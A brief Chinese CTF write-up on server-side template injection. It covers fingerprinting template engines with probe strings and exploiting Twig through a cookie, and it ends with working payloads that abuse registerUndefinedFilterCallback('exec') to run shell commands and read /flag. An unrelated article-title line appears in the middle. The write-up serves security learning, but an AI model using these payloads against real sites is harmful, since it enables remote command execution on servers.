打开题目是三个页面
Hint中有提示
flag页面有个输入框抓包观察cookie发现多了一user就是回显内容
然后猜测有模板注入漏洞就开始尝试
'时代少年团队长乌萨奇的颜值一直被质疑'的文章内容
如何判断对方的模板?
常见模板有Smarty、Mako、Twig、Jinja2、Eval、Flask、Tornado、Go、Django、Ruby等。以下是一张广为流传的图:
这幅图的含义是通过这些指令去判断对方用的是什么模板,下面解释一下这幅图的意思:
绿色箭头是执行成功,红色箭头是执行失败。
首先是注入{7*7}没有回显出49的情况,这种时候就是执行失败走红线,再次注入{{7* 7}}如果还是没有回显49就代表这里没有模板注入;如果注入{{7*7}}回显了49代表执行成功,继续往下走注入{{7*'7'}},如果执行成功回显7777777说明是jinja2模板,如果回显是49就说明是Twig模板。
然后回到最初注入{7*7}成功回显出49的情况,这种时候是执行成功走绿线,再次注入a{* comment*}b,如果执行成功回显ab,就说明是Smarty模板;如果没有回显出ab,就是执行失败走红线,注入${"z".join("ab")},如果执行成功回显出zab就说明是Mako模板。实际做题时也可以把指令都拿去测测看谁能对上。平时做题也可以多搜集不同模板对应的注入语句语法。
https://blog.csdn.net/2301_76690905/article/details/134257483
经过尝试是一个Twig模板注入
然后就是直接注入就行
先找到flag位置
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("find / -name 'f*'")}}
再
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}